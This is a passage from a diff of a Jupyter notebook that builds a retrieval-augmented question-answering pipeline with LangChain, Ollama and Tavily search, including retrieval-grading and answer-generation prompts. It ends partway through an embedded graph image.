"\n", + "# Split the documents into chunks\n", + "doc_splits = text_splitter.split_documents(docs_list)\n", + "\n", + "# Embedding\n", + "\"\"\"\n", + "embedding=NomicEmbeddings(\n", + " model=\"nomic-embed-text-v1.5\",\n", + " inference_mode=\"local\",\n", + ")\n", + "\"\"\"\n", + "embedding = OpenAIEmbeddings()\n", + "\n", + "# Add the document chunks to the \"vector store\"\n", + "vectorstore = SKLearnVectorStore.from_documents(\n", + " documents=doc_splits,\n", + " embedding=embedding,\n", + ")\n", + "retriever = vectorstore.as_retriever(k=4)" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "id": "fe7fd10a-f64a-48de-a116-6d5890def1af", + "metadata": {}, + "source": [ + "## Define Tools" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "id": "0e75c029-6c10-47c7-871c-1f4932b25309", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "{'score': '1'}\n" + ] + } + ], + "source": [ + "### Retrieval Grader\n", + "\n", + "from langchain.prompts import PromptTemplate\n", + "from langchain_community.chat_models import ChatOllama\n", + "from langchain_core.output_parsers import JsonOutputParser\n", + "from langchain_mistralai.chat_models import ChatMistralAI\n", + "\n", + "# LLM\n", + "llm = ChatOllama(model=local_llm, format=\"json\", temperature=0)\n", + "\n", + "# Prompt\n", + "prompt = PromptTemplate(\n", + " template=\"\"\"You are a teacher grading a quiz. You will be given: \n", + " 1/ a QUESTION\n", + " 2/ A FACT provided by the student\n", + " \n", + " You are grading RELEVANCE RECALL:\n", + " A score of 1 means that ANY of the statements in the FACT are relevant to the QUESTION. \n", + " A score of 0 means that NONE of the statements in the FACT are relevant to the QUESTION. \n", + " 1 is the highest (best) score. 0 is the lowest score you can give. \n", + " \n", + " Explain your reasoning in a step-by-step manner. Ensure your reasoning and conclusion are correct. \n", + " \n", + " Avoid simply stating the correct answer at the outset.\n", + " \n", + " Question: {question} \\n\n", + " Fact: \\n\\n {documents} \\n\\n\n", + " \n", + " Give a binary score 'yes' or 'no' score to indicate whether the document is relevant to the question. \\n\n", + " Provide the binary score as a JSON with a single key 'score' and no premable or explanation.\n", + " \"\"\",\n", + " input_variables=[\"question\", \"documents\"],\n", + ")\n", + "\n", + "retrieval_grader = prompt | llm | JsonOutputParser()\n", + "question = \"agent memory\"\n", + "docs = retriever.invoke(question)\n", + "doc_txt = docs[1].page_content\n", + "print(retrieval_grader.invoke({\"question\": question, \"documents\": doc_txt}))" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "id": "dad03302-bd93-43fc-949e-af51a3298cfa", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "The document mentions \"memory stream\" which is a long-term memory module that records a comprehensive list of agents' experience in natural language. It also discusses short-term memory and long-term memory, with the latter providing the agent with the capability to retain and recall information over extended periods. Additionally, it mentions planning and reflection mechanisms that enable agents to behave conditioned on past experience.\n" + ] + } + ], + "source": [ + "### Generate\n", + "\n", + "from langchain_core.output_parsers import StrOutputParser\n", + "\n", + "# Prompt\n", + "prompt = PromptTemplate(\n", + " template=\"\"\"You are an assistant for question-answering tasks. \n", + " \n", + " Use the following documents to answer the question. \n", + " \n", + " If you don't know the answer, just say that you don't know. \n", + " \n", + " Use three sentences maximum and keep the answer concise:\n", + " Question: {question} \n", + " Documents: {documents} \n", + " Answer: \n", + " \"\"\",\n", + " input_variables=[\"question\", \"documents\"],\n", + ")\n", + "\n", + "# LLM\n", + "llm = ChatOllama(model=local_llm, temperature=0)\n", + "\n", + "# Chain\n", + "rag_chain = prompt | llm | StrOutputParser()\n", + "\n", + "# Run\n", + "generation = rag_chain.invoke({\"documents\": docs, \"question\": question})\n", + "print(generation)" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "id": "b36a2f36-bc5f-408d-a5e8-3fa203c233f6", + "metadata": {}, + "outputs": [], + "source": [ + "### Search\n", + "\n", + "from langchain_community.tools.tavily_search import TavilySearchResults\n", + "\n", + "web_search_tool = TavilySearchResults(k=3)" + ] + }, + { + "cell_type": "markdown", + "id": "a3421cf0-9067-43fe-8681-0d3189d15dd3", + "metadata": {}, + "source": [ + "## Create the Graph \n", + "\n", + "Here we'll explicitly define the majority of the control flow, only using an LLM to define a single branch point following grading." + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "id": "10028794-2fbc-43f9-aa4c-7fe3abd69c1e", + "metadata": {}, + "outputs": [ + { + "data": { + "image/jpeg": "/9j/4AAQSkZJRgABAQAAAQABAAD/4gHYSUNDX1BST0ZJTEUAAQEAAAHIAAAAAAQwAABtbnRyUkdCIFhZWiAH4AABAAEAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA9tYAAQAAAADTLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlkZXNjAAAA8AAAACRyWFlaAAABFAAAABRnWFlaAAABKAAAABRiWFlaAAABPAAAABR3dHB0AAABUAAAABRyVFJDAAABZAAAAChnVFJDAAABZAAAAChiVFJDAAABZAAAAChjcHJ0AAABjAAAADxtbHVjAAAAAAAAAAEAAAAMZW5VUwAAAAgAAAAcAHMAUgBHAEJYWVogAAAAAAAAb6IAADj1AAADkFhZWiAAAAAAAABimQAAt4UAABjaWFlaIAAAAAAAACSgAAAPhAAAts9YWVogAAAAAAAA9tYAAQAAAADTLXBhcmEAAAAAAAQAAAACZmYAAPKnAAANWQAAE9AAAApbAAAAAAAAAABtbHVjAAAAAAAAAAEAAAAMZW5VUwAAACAAAAAcAEcAbwBvAGcAbABlACAASQBuAGMALgAgADIAMAAxADb/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wAARCAHpAL0DASIAAhEBAxEB/8QAHQABAAIDAQEBAQAAAAAAAAAAAAYHBAUIAwkBAv/EAFcQAAEDBAADAgoEBwwEDQUAAAECAwQABQYRBxIhEzEIFBUWFyJBVZPRMlGU0iM2YXGBkbMzN0JSVnR2kpWhsuFTVHKxJCU1Q2J1d4KWorTD1AlERXPB/8QAGwEBAAMBAQEBAAAAAAAAAAAAAAECAwUEBgf/xAA7EQACAQICBgYHBgcBAAAAAAAAAQIDERNSBBIhMVGRFBVBcaGxBSIyYdHS8DNTYoHB4SNCY3KSosI0/9oADAMBAAIRAxEAPwD6p0pSgFKUoBSlKAUpSgNY5k1nZcU25doKFpJSpKpKAQR3gjdfz51WT3xA+1I+dVRjdmt8mBIdegxnXFTpm1rZSSf+Eud5Iraeb9r92w/gJ+VeCv6QoUKs6Ti3qtreux2OvHQNaKlrbyw/Oqye+IH2pHzp51WT3xA+1I+dV55v2v3bD+An5U837X7th/AT8qw610fJLmi3V34vAsPzqsnviB9qR86edVk98QPtSPnVeeb9r92w/gJ+VPN+1+7YfwE/KnWuj5Jc0OrvxeBYfnVZPfED7Uj5086rJ74gfakfOq8837X7th/AT8qeb9r92w/gJ+VOtdHyS5odXfi8Cw/Oqye+IH2pHzp51WT3xA+1I+dV55v2v3bD+An5U837X7th/AT8qda6PklzQ6u/F4FmwbtBuZWIcyPLKNc3YOpXy77t6PTurLqteHcKPBzu/IjMNR0G2wyUtICQT2snr0qyq6ycZRjOO5pPmjmVaeFNw4ClKUMRSlKAUpSgFKUoBSlKAUpSgKfxT/kt7+fTP/Uu1uK0+Kf8lvfz6Z/6l2tLN4zcP7ZNkQ5mdY1Elx3FNPMP3eOhxtaTpSVJK9ggggg9QRXyGnxctMrWX80vNn1tNpU43fYTKoFK4wQG+IMjEYdkvl3mQ1xm582BFSuLBU+Nt9qorCtcvrEpSoAdSRXsrjlw4QdK4gYsDoHRvUbuPd/Dqts3s15zfPrRkeBWNttwyIhTnVsvbJiTISVgvtSGEq28AOdCRyq0dEKTrVeanT2vXVvAic9nqskvDPjFeMvyvObbcMWuceJZbo9FjzG2mezS22y0sNrAeUtTqitShyp5eVSRsHYrc4hxogZTkarFKsF/xm6KiLnx499hpYMphCkpWpspWobSVJ2lWlDmHSogxi2d4/e+KNotFr7OPlD8i5WvJ25jSUQn1wUNIS40T2m0utJ0UpUNK37NVF+G3Ce+2TiPh97Rw+GNR4lrmW+7TXroxKlypDiG1B91SVkrSVNFIUVFe3OqUgbrZwptN7Fs4+7vM1KaaXv4e83mSeE+5P4KXrOcSxO+Kjs24y4c+5xmURivmCSFJ7cLVyEkkpGjynlKquXE79IySyMzpVmn2J5ZIMO5BoPDXtPZOLTo949b8+qqO18JL/M8EFvh/JYbt+RrsCoJYddSpCH9EhJWglOidDYJ76mNn4u220WuO3nztr4eXlSQU2y73qJ2jjYAHapKXNFBVzge31TvVUnGLTVNbm++3YWhKSac32LmWHSoSeOPDgICzxAxYIJICvLUbRI1sfT/ACj9dbvGs3x3NESF4/f7XfURykPKtkxuQGyd6CuRR1vR1v6jXncJJXaN1KL2Jm/wX8fr7/1ZD/ayasSq7wX8fr7/ANWQ/wBrJqxK+5pfY0/7V5HzOl/byFKUrQ8gpSlAKUpQClKUApSlAKUpQFP4p/yW9/Ppn/qXa2KoMZSipUdoknZJQOtbj0TWxDjymbld46HXVvFtqZpCVLUVK0NdBtRr99FMH3xe/tv+VcrSfRuPXnVVRJSbe59rud2GnU4xSaew0viEX/Vmf6gr2QhLaQlCQlI7gkaAraeimD74vf23/Knopg++L39t/wAq83VD+9XJlun0uDNbStl6KYPvi9/bf8qqLglFm53nXFi1XW93RcTG7+LdADUjkUlnsgrSjr1js99Op/6q5MnrClwZZdeTsZl9QLjSHCOm1JBrb+imD74vf23/ACp6KYPvi9/bf8qdT/1VyZHWFLgzS+IRf9WZ/qCvRphpjfZtob338qQN1tvRTB98Xv7b/lT0UwffF7+2/wCVOqH96uTHT6XBmDgv4/X3/qyH+1k1YlR3GcHhYtNly48iZKkSm22luTHu0ISgqKQOnTqtX66kVd1RUIxgneyS5I49eaqVHNdopSlSYClKUApSlAKUpQClKUApSlAKUpQClKUArnfwYP31fCB/paP2Ca6IrnfwYP31fCB/paP2CaA6IpSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQCud/Bg/fV8IH+lo/YJq5su4j4nw/8U86MosuN+N8/i/le4Mxe25OXn5O0UObl5k713cw+sVzT4N3GPAbZxN45PzM4xuIxcMlMuG6/d46EyWUxwVONkr0tA0dqGwNGgOuKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUqEXDiWl11TVit6ruEnRmOO9hF/OleiXPzpSU/l+q8YSnuLwhKo7RVyb0qtjmmWqOxEsrY/i9o8rX6dD/dX555Zd/q9l/W9WmEsy5no6JW4EC8ObgUON3A64iDGD2SWEKudtKR66+UfhWR7TzoB0PapKPqr5ceDNwXkceeMlixVKHPJynPGbm830LURBBcO/YT0QD/GWmvsJ55Zd/q9l/W9VU8IODTHBDKctv+MwLcibkj/bPokOLU3FTzKX2LASlPI3tW9Ek9E9egphLMuZPRK3A6gpVa+eWXf6vZf1vU88su/1ey/rephLMuY6JW4FlUquWs7yeOeZ+02yYgd6Y8pxpf6OZBB/SRUpxzMYORrcYbS9DntDmchSkcjgG9cye8LT1HrJJHUA6PSqulJK6s17mZTo1KavJG9pSlZGApSlAKUpQClKUApSlAKUpQClKUBX+e3RV4uZx1tREFDQeuPKddqFH1GD/wBFQCise0cqTsKUKwUpCUhKQAANAD2VhsrU7kmUuL/dDcik9OukstBP9wB/TUU443CVaODGdzoMl6FNjWOa8xJjuFtxpaWFlKkqGikggEEdRWlfY1Bblbm1t+uFj6LR4qnRTXeTesO83mBj1skXG5zGLfAjp5nZMhwIQgb11J/KQP01ztm3nHh+I4BbLTfbvcLrmc2PHuFxuN7cYJIjLd7NlwocEUuKAH4NGyBrvPMNFxSwrNLRwL4jM5VNeTZEohyLYx5wP3GQysOhLyXJCmmlLbIKFBC+bRBO+7XnsXdVpOy3HWVatOTW1eTuY8JBN4bhpnqj9mvowpZQFc2uX6SSNb307tVT2eYzKgcQ+FWH2/J8jhWeWm7LmqTd31yZSUttrSlbylFZ0pXQ72kEhJT3iLcTsnvXBzKuILtiu12nJg4NEmxo9znvTG2ZHjLkftwlxShsIbSpR16xCid7NQTKrq71u+Fzp6lc8Yrw34kv3BpDt7lQcfuVvkx58s5c/dH1KcaPYyI24zXYrSvlO21BOj3dBWoxzilk+SwFXAuyhP4dY3OcvkNt1aUTrygOMoacAI50gR3HdHf7s2e/VLDF4o6erGmwvGuydadVFmR19pHlN/TaX9Y+sEdCk9FAkHoa524Q2PiZc5GGZWq6Kft9wQ3Luj8rKHZrM1h1okhuGYqG2VBRSpIbWOXlKTzbJrpKrRk4O8d5eLVSO1E1xG/nJbBGmuNpYldWpLKFcwbeQeVxIPtHMDo+0aPtrc1A+F61CZlTQ/ck3BtQ0NaUqMzzD+4H9NTyvTVioz2dtnzVz5urHUm4rsFKUrEyFKUoBSlKAUpSgFKUoBSlKArXKYKrHmDsggiFeAlSVk+qmShISUfnUhKSP/1r/TrMgsMDKrDcbNdGPGrbcI7kWSxzqR2jS0lKk8ySCNgkbBBq0rtaYl8tz0GcyJEV4AKQSQeh2CCOqVAgEKBBBAIIIFV/PxbILGsiO0MghAgIUlaWpSR/0gohCz+UFP8As/XtKONZp7fM6+jaTFRw6hHMjwDH8uxhOO3i2NT7OhKEojulW2+T6CkrB5kqGuigQfy1gWjhJidkxi649GtIctF15vHmJb7slUnmSEErW4pSyeUAb300Nd1SAzrkg6XjV6Sr2gR0q/vSsj++vzyhcP5N3v7KPvVXo9Xh5HvxKL23RH7BwjxXGX7M9At7yXrOXzBcfnSH1M9slKHerjiuYFKEjStga6araSsIsc+/zLzJtzcm4TLcLTIW8VLQ7FC1r7JTZPIRzOL2dbO9E66VmeULh/Ju9/ZR96tNYeIcTJ7heINqtt0nS7PI8UnstResd7W+RXXv0d1HR6vAYlFdqMTCeDWH8Orgudj9pVBkqZMZKly33g00VBRbbS4tQbTtKTyoAHQfVUiteNWuyyLq/ChNR3bpI8bmqQP3d3s0t8yv+6hI/RvvJJ/ryhcP5N3v7KPvU8oXD+Td7+yj71Oj1eAVSktzRFcW4H4ThV9Td7JZBAmNlwtJRJeUywV75+yZUstt72d8iR31NZUpqFHcffcDTLY5lLV7BXg0u9SzyxcYualnuVI7JhA/OVL3+oGpLj+CvmYzPvzjEh5lfaR4UcEssqHctRPVxY7wdJAPcnYCqlUXHbUdl3q/13mM9IpUo+r4Gdw8s79qx/tpja2Z1wdVNfZWdqaKgAls/lShKEnXTaTUnpSonLXk5HBlJybkxSlKoVFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBXO/gwfvq+ED/S0fsE10RXO/gwfvq+ED/S0fsE0B0RSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFc7+DB++r4QP9LR+wTXRFc7+DB++r4QP9LR+wTQHRFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSleUmUzDaLkh5thsdOdxQSP1mpSvuB60rVnKrKDo3iBv+co+dfnnVZPfED7Uj51fDnlZNmbWlarzqsnviB9qR86edVk98QPtSPnTDnlYsza0rVedVk98QPtSPnTzqsnviB9qR86Yc8rFmUb4aPG/iD4P2C2rK8MtVlultTJMa7eVWHnVMc/L2K09m6jSeYLSonfVTetda4M4UeHbxKxjN8leseOY/dbtmt1TKchqjSD/wAKWkNNoZAeB5ebl9U7J6jY3sfUTiHAxHiZg97xa83O3u226xVxnR4y2SnY9Vaev0kq0oH2FINcCeA14Mj+I8eb5fs3DMOLiTrjFtdkqCGZ8lRUhL7JV0cbSgKUFD+Etsg7BphzysWZ9MaVqvOqye+IH2pHzp51WT3xA+1I+dMOeVizNrStV51WT3xA+1I+dPOqye+IH2pHzphzysWZtaVqvOqye+IH2pHzp51WT3xA+1I+dMOeVizNrSta1klofWEtXSE4o/wUSEE/762VVcXHeiBSlKqBSlKAUpWFe7o3Y7LcLk8NtQ47khYHtCElR/3VKTk0kCMZZlknxt20WdzsZLYHjM8oC0x9jYQgHopwjR6ghIIJB2AYf5rW118yJkcXOYR60q4Hxh0/mUvfKPyJ0B00BoV7Y/Fdi2ljxhQXMeHbyXB/DeX6ziv0qJ0PYND2Voc84lwMDk2mE5b7jervdVuJhWu0spckPBtIU4v11JSlKQU7KlD6QHUmtJ1XBuFN2Xu7frh2H0VKjCjG73kg8g2w/wD46J8BPyp5Atnu6J8BPyqsIvhL2CZaMbnM2O/uuZBNmW+DCbjNqkF6PzBaVo7T1NlBA5ta71cqfWraZXxvawyGzMueGZYiEISZ82UzAbdat7Z3zB5SXTtSAklQb5+UdaxxJ5mb68LXJ35Atnu6J8BPyp5Atnu6J8BPyqIZVxltGOXW22uFbrrlF1nxPKDcKwx0vuIi70H1lSkpSgnoNnZPQA1CeGXHp6TwvxSbd4t2yjKryZrrdutUJvxpTLUpbZcWjbaG0oHZpJUU7JA6ndMSeZkOcE7Fy+QLZ7uifAT8qeQLZ7uifAT8q1mDZ1buIFmcuFuRJjliQ5ElQ5rJakRX0H12nEexQ2D0JBBBBINfxn2f2vhzZG7lcxIfL8hESLDhNF2RLfWfUaaQPpKOj7QNAkkAUxJ5mXvG2t2G28gWz3dE+An5U8gWz3dE+An5VS2O+EEtnJOJE3JI12tFms4tTUKzTYSBNS++lwFtCWyouKcWEcvrKH5QN1Mbdx4x5yHkLt7jXLEZFhipnToV8YS28mOrmCHUBtS0uJJSpPqknmGiASBTEnmZRVIMnHkC2e7onwE/KnkC2e7onwE/Kq8d4+w4OM3O/XPEMrs1ugtNPBdwgttmQlx1LaeQdqdHawSlfKoDfSt5mPFm0YTd51unRprr8OwS8jcVHQhSTHjqSHEDawe0PONDWu/ahTEnmZOvG1yT+QLZ7uifAT8qeQLZ7uifAT8qrJvwjrc/c4FvZw/LXZl0iqm2toQGk+UGU8pUtsqdARoKSSHezPUdNkA7NPHnH5OLWS8W+FdrrJvLjzEOyw4oM9TjKil9KkKUEo7MpIUpSgkdOp2NsSfFjXg+0nXkC2e7onwE/KnkC2e7onwE/Kq8f8IfHo1ojS3LZfEzXbwmwuWfxIeOx5imVPIQtvm1pSUjSklSfXSd65iNHxA8Id218LcvvdjsNxjZFYJDUSVarqw2HIinORSXHAl3lUgoWCChatkjp30xJ8WQ6kErlurx61OJ5VWyGob3ox0H/wDlftuhSMYUHMffMJKe+3rUVQ3B9XJ/zf8AtI1rpsKA5ag1642x7A3YGJWJ5Ib7ehIXHsLMdhyYhtkjtHF8rxbCdKSRpZJ5h03sCwYEvx+DHkhp2OHm0udk+jkcRsb5VJ9ihvRHsNWjWqR7dngGoVE4tXLBx3IGMkt3jLKHGFoWWno7oAWy4O9KtdO4ggjoQQR0IraVWONyzac9ipSQGbtHWw6n63Whztq/qdsD9fq/UKs6tJxStJbmr/p5nz1enhTcRSlKyMBWoy+0rv8Aid7tjfRybBfjJ39a21JH++tvSrRk4SUlvQ3FS2aem6WmFMSCA+yhzlUNEbAOiPYR3aqmfCQTdLdkGCXzHlpYv0J6W026JsNpamXG0hxsNSnG0uglKDsK2jkB0d9L1yWyqw+XJmto3YpDin3FIBJhuKJK1KH+iUdq3/BJO/VO06S+4vj+bQGWrzaLbf4X7o2idGbkt9f4SQoEfpFKsNV60fZe74d6PpIzVen6rKC4TWVrJ5HDO6Y3AnLgY7eb0m+Sbk/HU8JbrDgccKmllDgW670LWwAddADWTxl4UZJmmW5eHsUay+HdLUiHYJcu4ttRbI4W1pdUppR5ucrIWFoQonQTtOq6DtlrhWWAzCt0RiBCZHK1GjNJbbQPqSlIAA/NWTWFy2EtXVf1ssUDj2MZxw+yaz5HCxI31FxxmBaLlbk3COzIt8mMFaUFLVyLbV2hB5VE7TvRqEWfgDkFqtWD3m94Dbsxfgwp9uuWMTJEdSmQ7NckNPsLcPZKUArR2oHlX9ewOtaUuHRi+0rPEr/hvCrGokO7xsZ4Wypq3JSrGq4xmRvm5AvY5UrUUpRsgEA9NnW60vEWazxKONZBw7uVmzO6YjdkT3rXCubKg804060pHOFFKF6UVJK9D1DVxOxmXyC40hwjuKkg1+tR2mN9m2hvffypA3Qu4NrVvsOa7rw2zrMshy3KXMZTZbgm52G8Wq2zbgy4JaoXado0tbZUGyQrQJ2NlPXvIycz4TZjxokZfebjamsPkv2SNabTb5kpuSpxxmWJZcfUyVJSgrQhAAKjoqJA7q6OpS5TBi9jZSebxs94v8M8kx6bhKcWmuRG3I7kq7MPtyJLbqHA2ns9kIPIRzq5T1Hq1osyxXPOI2S5DdHcNcskeRgV1scZmRcYzrrk15TRQg8iylKVcp0reuh5uXoK6JpS5LpKW9lTQcGvjOe8LLiuFqFZcemQZ7vao/AvLRFCE65tq2Wl9Ugj1ep6jdXyeAd+RFx28T8OgZYq1Xm+Kk41PeYPjEWZKU4080tZLYcTyoVyqI2FEEpIrqmlA6UXv+t3wKIVwvku2vBXrLw+gYWuJlzF0uFtgvR/wcdDD7YeWpGkqV66BypKiN9N6NeeecI8kylPG5mLGaa842bcbS688jkkLYZTzJOiSj108u1Ad++6r7pS5OFFq31usUbxPg5LxExW1uyOFs5N8aL6oz0a/wAaPNtL/KkNutvIXopUSrmAV3IG0K3oWzhcW7wsPsUe/wAhEu+swWG7hIb+i7IDaQ6odB0KuY9w/MK3NYs25NQltNaW/LePKxEYTzOvH6kp/wB5OgB1JABNWjFzerFbSVFRbk2e1qjqnZ/YG0bPiaJE1Z10A7PsQCfrJe6f7J+qrSqN4ZjDljakzJvZqu00p7ctElDaE77NpJPeE8yjvQ2pSjoAgCSV6KjXqxXYreb/AFPn9IqKrUcluFKUrI8wpSlAKic7hfj0t9x9mM9bHnCVLVbZLkZKiepJQghJJPtI3+s1LKVeNSUPZdiyk47UyEnhRbySfK16G/YJp+Vfnont/ve9/bT8qm9K0x6nE0xqmZkI9E9v973v7aflT0T2/wB73v7aflU3rGuNxiWiC/NnSmYUNhBcdkSHA222kd6lKOgAPrNMepxGNUzMrLOrJiHDPGJmRZNlV1tFnicvaynpqiAVKCUgAJJJJIAABNYeIcHLyL9kM69ZnKuVilvNqscWAstmPH5ASXVnfOsk+zppII1zcqd5GsWQZzlmTw84sGPScGjSIjmPsqT40++42OdUhzm9VOlkBKeXYKVdSNFVjUx6nEY1TMyEeie3+9739tPyp6J7f73vf20/KpvSmPU4jGqZmQj0T2/3ve/tp+VVqxjLPDO6uR+IvEZxbF/vfiWMpbWqO5yrRzJZdPVJXsFIVoA+rs7WEjoGtXkGL2fLIjMW9WuJdYzEhuU01MZS6lDzauZDgCgdKB7jTHqcRjVMzI56J7f73vf20/Knont/ve9/bT8q88BvmWx13SJxBTZLfKXd3o1ket8gp8oRuUuN/g1kkOBIUCkEk9mo60Nmd0x6nEY1TMyEeie3+9739tPyp6J7f73vf20/KpvSmPU4jGqZmQpHCi2g+vcry6ne+VU9af706P8AfW9sOI2jGA4bbBQw64AHH1EuPOAd3M4olSv0k1uKVEq1SSs3sKSqTl7TFKUrEoKUpQClKUApXjLdLEV5xIBUhBUN93QVHvOeV/o2f6p+dASelRjznlf6Nn+qfnTznlf6Nn+qfnQEnqqMgtJ433vLsFzHBpLWCwFw1sXKTMLabq8CHVBCGyCWk6QCSrqdgjfd78TrL6U8JuWLzp820wbglLb79oe7GQpsKBUgLIVpKgOVXTqkke2sy7cRoGAWm1N3B9MWI7JjWqKp1Lz6lvOKDTKCralEqUQOZX5yfbQFgR47USO0ww0hlhpIQ202kJShIGgAB0AA9lelaS1Xt+dLDTiGwkgnaQd/763dAKUpQClKUBFs64Y43xIVZF5BbkzHrLPaudvfS4pp2O+g7CkrQQdHQ2nejobB0KxuGWX5Bl0G8HJMTkYnOgXJ+Ehp19LzUtlJ22+0saKkqSR3gdQfqqZVDc/4ZRM/umK3J263W0zccuSbjGctkkth08pStp1JBStCkkpOxvRUAQFK2BMqVCeE/Fe3cXbJcbjb7fc7Uq33KRa5MO7RSw8280rR2OoOwUnoTrejogiptQClKUApSlAKUpQClKUBq8pZlyMZuzUCQmJOXEdTHkLTzJacKCEqI9oB0dfkrhaTn+R8I+GmWWy4T8hj8So0S3+NOXy6+OwezelCOu4RHCFBtBK1bSU+oQgFB0d943m3t3a0ToTzYeaksLZW2ToLSpJBH6QaqDHfBsxPFoN1iQcYaXHukcQ5iZslcsusDemtvLWQ2OY6QND8lAVBbLbm/Ctu+5Bk1ymQsJj2SU5cEKyd69TA8kAtvRi7Gb7NWuca2UEqT6o1Uaxm75niOV3m1zpF8g226YVPu8aNeMhVdJTL7Smwh0LKE9grTp2hClJ2AQRquhca8G/FsShXOJbsdHi1yi+Iympk12UHI+iOy/DOK5UdT6qdD8lRS98IOGHCSVYH7na126XeZQxm3yHJkuS6+5KQUJilfOtQbKUnQWQhBGxynrQFaJXfcb4J8NZqMwvy7znL9lttxvUyet4w2n2i4tTCFkttrPRsL5eYlSVElXWt1xt4dJxfA7FbYuSZFL8ey+yJTKudxVMfiqMpCeZpboUQdnm0djYHTXSr0m8HLTc8GZw6ZYmZeNMxWobcB9znSlpsANjmKubaeVOlb5tgHe+taW1+Dbi9ngJhx7C6WROjXLmkXJ95wyI6uZhRWt0qIQR0STy/WCKA0HAoT8X435thy73db3Z4tugXOIbxLVKfjreL6HUB1XrFB7JJAJ6Heu+ui6hGOcP4lnzWdkogdjdZ0VqJJldsVc7TRWW08vMUjRcX1ABO+pOhU3oBSlKAUpSgFKUoCuOL0W4wJWKZKxn0TBrHY7kHrwm5dmmFPjuDsy04tSk8quZQCDzaCl70ohOrHqqfChumE2bgjf5nESzzb9iLbkUTIFvWUPOEyWg1ykONno4UKPrjoD39xtagFKUoBSlKAUpSgFKUoBSlKAVC+JV0za2LxTzLs8K7pkX6LHvZmLCfFbYrm7d9vbiNuJ0jQHOep9RXsmlfHnjD4VXhEYZnk7Fchz+YxccdunPuDEjRUurbJ5FK7JpPatLSQrs3OZCgU8yT0oD7DUrlrwBOInFLi3gF7yziJeRdbfKkojWbcJiOrTfP27n4JCeZKlKQgb7iyr8u+paAUpSgFKUoBSlKAUpSgIXxhumbWbh7cpnDuzwr9lzamRDgXBYQy4C6gO8xLjY6Nlah646gd/cZpVdeEDafLfCe8w/P70Y9ouOfOjt+w8U0+2dc/ata59dn9Mb59de42LQClKUApSlAKUqDZblEmXcHbNanjGSxoTpyOq0EgEMt/UspIKln6IIABUrmReMdbuNKdOVSWrEkN5zCx484G7ldokJ0jYadeSFkfWE95/VWp9LGKe90/Bc+7UVgWqJbEqEZhLaldVuHalrPftSzsqP5SSayqtr0Vss3+aXhZ+Z1FoCttkSD0sYp72T8Fz7tPSxinvZPwXPu1H6U16OV818pboEcxIPSxinvZPwXPu1xP4dHAmDxvznGMpwqZGXcZCkW29FwFoNsg+pKPME8/ICpKgnaiAgAHRrrilNejlfNfKOgRzH94JkmA8OsNs2MWa4pZtlqioisJLLnMQka5lHl6qUdkn2kk1vfSxinvZPwXPu1H6U16OV818o6BHMSD0sYp72T8Fz7tPSxinvZPwXPu1H6U16OV818o6BHMSRrinibqwk32KzvuMglofrWAKkzD7UplDrLiHmljaVtqCkqH1gjvqtSAoEEAg9CDWFEZkY0+qZYuVhzfM7AUopjSR7QUjohR9jiRsHWwoDlMp0p7Fdd7uvJW8TKegtK8HctulYFivcbIbWxPiFXZObBQsaU2tJKVoUB3KSoFJ/KDWfWTTi7M5bVtjFKUqCCqfChumE2bgjf5nESzzb9iLbkUTIFvWUPOEyWg1ykONno4UKPrjoD39xtaoXxhumbWbh7cpnDuzwr9lzamRDgXBYQy4C6gO8xLjY6Nlah646gd/cZpQClKUApSlAeM2UmDDfkr+gy2pxX5gN1UWLBarDDkPHmky0eNPr1oqcc9dR/Wo1bs2KmdDfjL+g82ptX5iNGqixYrRYYkd4csmIjxR9G9lLjfqKH60n9dav7F24ryZ1dAtrS4moy7PTiOV4ha34HaQMglPQTcO25RGfS0pxpBRynm7TkcG9jRA799IVa/CStOR48xPskBU+ZIyZONx4a3uz7QlfMJHNyk9mY+3x6vUDW/bUm42cNnOKvD6ZY4s3yXcu2ZlQbgCQqM+24lSVgjrvQUP8AvGtFbuAFssfFjHsptqxGtdos/k9FtBOu3bSGWH9dxIYW62T0P0Py15ToyxNbZuIjc/DHsFvuEt9DFqex2JNMN2ScgjIuKuVzs1uogn11NhWyNqCikcwTrW/G18XMtw258VLivHJmVYzZsjeVJlC6pD0GMmLHUtDDCweZKAVLKQpA9Y62d1JcF4Y5tw2kJsFqXjFwwxFxclMybgh7ygxHdeLrjHIlPItQK1hKysa2NpOtVrrrwm4hpPEG0WifjkexZlcHpL02SX1S4bTrDbC+RsJCFq5G9jakgE96qky/iWu95d9ruUa82yJcIbofhy2UPsujuWhSQpJ/SCKr25cXLj6WX8Js+Nt3JcJiLJmypNzRFWlp5ShzstKSS8lASSogp13dSRvIh8RcVwWFGxxtnIC3aGkQEdljlxfTytJCBpxEcpWNJ+kkkH2VE+I+DZDxnmWebaWrHAs7T8aXCvsyNKi3y3lt0KdDba20/TCSnSijoo7B6VBtKTa9V7TXZb4Xlmxu831piLa5lrsclcSa49kEaNPcW2dO+Lw1es6EnYG1JKikhIPQnc8UvCKPC6W1Kl2WBIxtbLUgTV31hiY+0rRUtiGoczvLvqOZJOjoGlj4ZZvgV+vUXHV4xPxi6XZ26hd4Q8JcIvL53mkpQkpcTvmKSVJI5uu9VouIfALKckm8Ro9rex1ULMG0f8aXNLqp0IJYQ2I6EpTylvaNhXMOXnUeVWus7DJurZ8ScniterjxRvOH2TFW7g3aW4L8m6P3IMN